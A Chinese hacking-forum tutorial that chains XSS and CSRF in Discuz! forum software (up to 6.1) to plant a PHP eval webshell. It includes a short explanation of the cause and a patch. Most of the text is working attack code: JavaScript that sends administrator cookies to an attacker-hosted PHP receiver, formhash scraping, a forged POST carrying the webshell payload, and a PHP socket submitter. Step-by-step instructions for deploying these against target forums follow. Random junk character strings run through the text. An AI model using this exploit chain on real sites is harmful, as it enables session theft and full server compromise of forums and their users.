Discuz XSS得webshell% |( g3 q' \; b, k( P% q1 u) E
By racle @tian6.com# A7 k* r$ R# R* L# M
欢迎转帖.但请保留版权信息.
- y7 R7 E' B; `$ E受影响版本iscuz<=6.1.0,gbk+utf+big5
% F' j9 l" x, M1 }+ Z
/ X) l! ?/ C- P, O# o' O0 [8 {$ G新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.2 y1 C& g9 u' C; q6 [
: Y/ e# @3 J8 t$ U
! r/ U/ Y7 T/ }! u% w$ C3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706( ~8 C$ Q4 D$ r1 y4 l0 z
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
5 [5 ~! i# U' Z4 k8 F# K1 F0 {4 i" c
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..5 n$ j- W" [6 y3 E
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS8 K$ \, y. ?6 Q' z1 E
! j. d& v8 v7 g. o% e' d; [
+ E6 e V' K0 q& U5 b: C
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
7 b! z: `$ [" s5 N7 L! i3 c( w( s/ A
& G1 V( O- B" v1 S% h; d
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
: Y& j! ?- z9 z) N
# L/ \( I1 ~* g9 v" L. \9 `' Rproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
9 L6 F C3 r+ P1 c; K5 x) }! q T3 t$ V$ N" i a" M- G% }
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.' C' Y6 B8 p, Q/ d5 @! i
9 J! Q/ l2 v9 t" m9 C0 P% E
7 t' f2 e* {5 O1 j下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
/ B5 i5 ~# v, E
9 X" d8 U4 R6 g global $runwizardfile, $runwizardhistory;
+ @- Y S1 o% n% F1 \0 z8 Y- U9 G4 f6 E" p, d3 @. |
$fp = fopen($runwizardfile, 'w');
; F6 k( ~: q/ r( Q
k- e; J x6 ^3 a V, a fwrite($fp, serialize($runwizardhistory));% b4 M# J0 ~1 n+ r
; G$ y$ K; F& h$ }1 o) r fclose($fp);
W) V, x3 ?) b0 a9 U, o8 {6 ?, s) O9 P! n* w' v5 t, A
}: g( j# i. P4 F. a+ F1 k
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
4 |" E' g' w6 B5 ]2 _ J以下是修补的办法:function saverunwizardhistory() {* W4 S$ q4 Y; q, ^
* ?3 Q! W; l9 X1 N Z! M! G
global $runwizardfile, $runwizardhistory;# R; i9 W5 A1 K9 ~3 h
! P$ z0 Z$ m" ~0 R# a/ o
$fp = fopen($runwizardfile, 'w');& X9 I, t- f0 b H( J& C' H
$ J) X2 b* g& o1 k& a: ?- p- U $s = '<?php exit;?>';
* I% }/ L, a+ @" Q( `
3 M! I' g6 j4 c $s .= serialize($runwizardhistory);9 h2 T3 H4 P- ]) C2 [; [
& S6 {% V* i) j9 }* ] fwrite($fp, $s);
9 \, c9 n5 R, |4 u
3 [1 X5 r: n1 ~& U5 y1 |$ f" K fclose($fp);
3 K) G/ x. \. u% V( v7 `$ p) l" C
e( t: X1 ^! I8 V$ _}
/ z! y0 o! x; k1 G: P复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.8 ?/ f' C5 _( d- _- h
1 M$ T3 w0 q( D! o
, z: u3 B2 m }; V
% ^, D% M5 o; c4 e, A/ {: {5 t
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
) A ?. q4 T+ [4 ]) y8 x: m! X) }4 h+ x; q; {
4 ~$ y# f% u4 U' G7 x( C; | 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.& ~3 L5 d8 [. w) ^2 s9 p
0 ~6 [9 H" h6 e! L$ Q我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.* g- @! z( ~' J+ |- [
9 I0 t8 U- ^0 B2 ]
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少., h y6 K& n* t; P, o1 ^
: ~# ]2 C5 c& ]% d/ ~# I. l, ]首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:) h0 A) G0 I+ A# y
# Q& I7 ]) }, m+ Fvar url="http://目标网站/admincp.php"; ! X" I, h4 K; r+ m, P; u
3 Q1 ?& j- C7 S; Z
/*获得cookies*/* R. g8 a- R1 ]1 Y% U
' h ^2 S. @- [/ Y2 j% h- m' b" nfunction getURL(s) {9 N0 L' n8 t9 Y- }) x& {
j3 d+ s T. N& m, O# Y- ovar image = new Image();
8 ?! G4 o2 \9 V& Y# H7 B8 \
_4 I& {/ g5 M/ s+ {" l1 N) Uimage.style.width = 0;; R# P$ `/ l5 t6 A; P
# d7 F5 D6 k1 A- |# k1 a
image.style.height = 0;' A3 R9 \& P9 d8 F j- E
, Y4 y ]: `& `* G2 @
image.src = s;2 z& U V6 |9 a/ [& j: v3 H
: {# J' E; e% R% A0 O) F/ S% o3 t
}
+ Z5 r' x* u- J+ m% y" k+ m: E8 T' s+ G0 I0 q" E/ W. j
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
A. j% l3 r+ M: @' l' ]9 T T复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
6 E s1 }6 ~" Z3 a* X8 ?# Y复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) " i% J2 D; z N; L
% {$ V3 X" H: m& W8 N. S7 p% L: R, U
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";! s0 s" z" m7 y2 j o7 F4 S
/ N# [1 K+ w3 ^' ^
7 ^8 n z% H# o! U
- L1 g- z0 h1 n: [) }1 K0 k/*hash*/
5 N- Q4 O; f4 X+ ~" J$ n8 a- k& l. Y& ~; c7 @
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");5 P) Y5 N4 W% o2 x
/ B. M7 T9 n0 ^0 ^1 A# TxmlHttpReq.open("GET", url+"admincp.php?action=home", false);, Q; \( y* Y: ?) @" l6 f9 t
4 A; W. a" a0 |xmlHttpReq.send();: W3 U. {; n: Y9 g* q- F
4 o4 @ W- h) Z* P
var resource = xmlHttpReq.responseText;0 Z* V+ G- i3 B! L
' _1 w3 C9 X% } M
var numero = resource.search(/formhash/);! P, m( X, |2 j1 R; z) u
1 G; R) m0 ]( Z" {$ r2 Ovar formhash=encodeURIComponent(resource.substr(numero+17,8));
0 S" X" m8 L7 V' |' @. c
" ]! x. r2 b6 m2 F+ n* ? G6 U7 L! i+ p* d' h
4 |) b$ C9 H8 y0 [ S6 r: f
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
# L# U, B; V4 }1 S% K2 Q ?* X4 p, m7 j! ?! s
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 / a! T: N9 c5 d. | _0 }
3 ?+ }6 P4 f5 sxmlHttpReq.setRequestHeader("Referer", url);3 q- q9 E& U7 i+ Q9 k0 J
7 r& m) m$ J* D# G9 {( f5 t" i
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
& f2 f5 |$ ?/ t, G: ]1 x5 k/ o1 H4 t8 q* B2 i& y9 |
xmlHttpReq.setrequestheader("content-length",post.length);
1 D8 _( O9 Y4 R3 M+ T# ^
' z/ }" v$ _" ?8 `- C) d: fxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
6 S. [$ S* z3 D8 c# u) H
- e# c) C7 y- lxmlHttpReq.send(post);//发送数据6 X& S- s7 ^8 z E3 J
复制代码这里HASH我假设正确,这样提交,也无须cookies
1 d- v/ w8 i, d4 q+ _
% ^5 |, F) B9 N+ k再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);7 P' T+ ]/ {4 `) E( J
" r7 M" ]; w( `5 N
if (!$sock) die("$errstr ($errno)\n");
. j1 Z# b& r2 f' v* z% o7 |3 c6 j2 r; {; @; F; b. x. l$ l* {
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
+ V- @* X4 f4 n) b: A; q
5 S* s0 X% ^; ^6 T% u+ F1 C' {, O0 J4 m( G( f# N( Y
6 B4 _+ j" G8 T& g& Xfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");. w$ d9 b# z4 G, O1 a8 x
9 C6 ?, {) S+ w) s
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
, m" F- O7 r: s0 T) {: v0 H9 ?2 C
! J) e- }9 E! Efwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");! e$ G: l1 ^0 g/ x' D
; u: T7 j" O/ u8 Z
fwrite($sock, "Accept-Language: zh-cn\r\n");) z6 c' j" C2 k9 r& E
& I$ l& k5 v; z* F) Q* c
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
3 k0 P5 m( a% c! U
2 M/ x4 o" W. X: H6 R- Y/ ufwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
" Q! r$ X% H3 C5 f/ y7 c: Y! k; n) g7 V: J- P
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");/ ?' L+ L) w; @* z5 [% h, s3 j
; I o( z, H3 C2 U s; v% @# Nfwrite($sock, "Host: $url\r\n");
. l0 x# c! m9 \2 \5 {) @' ?/ ]6 q3 g9 S9 r2 o
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");& m) U1 k$ E8 \0 s1 X
. \3 V5 j6 V1 C6 b# {$ \& h: Wfwrite($sock, "Connection: Keep-Alive\r\n");
% w; y0 M4 G( R- J3 h' o5 }4 m" d, A( F" {
fwrite($sock, "Cache-Control: no-cache\r\n");, S" M4 {, I3 `2 u
/ `* y a! M6 v" \: Y* Efwrite($sock, "Cookie:".$cookies."\r\n\r\n");
( r/ }: b! b, M! N9 R: y& g9 `$ w1 z: N4 r" a) H1 h _& f" N
fwrite($sock, $data);
4 \$ a' }5 J( Y' T T
, k& b; [& P& B: Z5 ^
. g6 I/ ]1 ^ c7 A$ ?4 H2 O3 X- U) n; {; m
$headers = "";
- ~7 b. Z" H2 w$ \3 C- H1 {5 g B3 o
$ H$ X; f6 R0 `6 D0 h6 _# bwhile ($str = trim(fgets($sock, 4096)))
% M3 y% E8 P' h
1 N9 a+ t* ]$ t $headers .= "$str\n";0 T% N) } I8 E u( p `
; p# \1 w0 f0 Z5 L a$ T
echo "\n";
7 J7 F4 V; O3 M3 `# G2 n C
, x) V% q8 ]- h; v& }! I$body = "";" q8 G! J- T B$ O( ~
2 a: Z6 }& ^. r( C) J8 v# G* k* H
while (!feof($sock))" q6 D6 U! A4 m# |2 g2 H
- x; j! f$ k5 P; v! Q* k $body .= fgets($sock, 4096);
2 p3 I, w: `9 l& b7 A0 l7 ^. l; X/ {5 F! S- F4 s- z. u8 b% w _
fclose($sock);) w, ~6 W. C) t5 |
# D. E$ u e6 d. |( H- a
echo $body;
4 o$ v' W h$ C+ R& Y复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^" b3 e% O% H2 `1 W# T9 ?
1 K2 E% r5 [: @4 B8 Z
: x; c# d! k" ?0 Z, d7 @" c$ p6 W* Q3 i-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------5 Q' y! n9 Y- B, A F( Y% _' V
; O; [5 u, A: M G! C3 f5 j/ _4 R4 t; S, t5 e
1HP SOCKET利用方法首先打开racle.js
5 u. @: }- _1 V7 F9 ~: X; q9 z! u- A6 T
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home: v( k6 d% z/ z
( m1 h( ~0 L1 n" k. v7 D# b9 m0 j- e- T
! {9 J1 x9 Q5 K1 B* t! }0 _+ ?
然后打开racle@tian6.php
) R$ d& ~) f3 F8 d; z! d% a8 e% p4 _! l! Z9 W7 }4 @& |) @
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com B8 K% s7 o( g2 Q7 J- ^
* H. u; o) R4 M2 p
6 q4 I; a0 h6 U; ?$ m8 m, ~8 w. H6 e9 g; p
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:. H$ F! p1 R$ U/ z# F! T$ n5 n
0 E1 J' j/ ?5 E; V6 ?. C1 y+ |
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));3 F! f( S( d2 M8 r" d' w1 a
) k) W) z+ C8 p: D& o( a/ i
为7 U/ q0 r2 w$ q; w8 v% s
3 |) G1 B( j& j1 B2 h# _4 o8 xgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
q- j4 m% t% ?- D) ~/ ]复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
1 }" P" M/ {0 o& k2 s
$ H8 ?# F+ }6 O% R7 _# d
, Y0 _+ H& g% K7 m8 m9 V$ t! g& a
. E# N( V% V: H; O" L如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
H/ h& B5 a* u: N4 O' p$ ~; |6 c& y* S" X8 y) H+ D
var formhash=encodeURIComponent(resource.substr(numero+17,8));$ I S: i0 ]+ n; `0 a4 I5 u
# F0 J* x( Y5 L为
) L: \, K0 E- v+ l
# X9 X+ {. N P1 s$ Svar formhash=encodeURIComponent(resource.substr(numero+9,8));
! F. x2 V* w4 T+ c复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
2 X+ S; F% p: E, g8 v: @+ A( L
: L6 U; C3 ~4 n. I8 P9 n如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
& P, Y r# Z& \4 B$ D* m( F6 i
4 ?1 r" Z8 b* W. G; N如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.% }- _( n4 V6 R% z' N
/ g* U( s5 P3 g, ^不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
5 K/ s& K# G8 l: H% f) o + N2 u% }$ a+ w& ?1 _/ P: I
|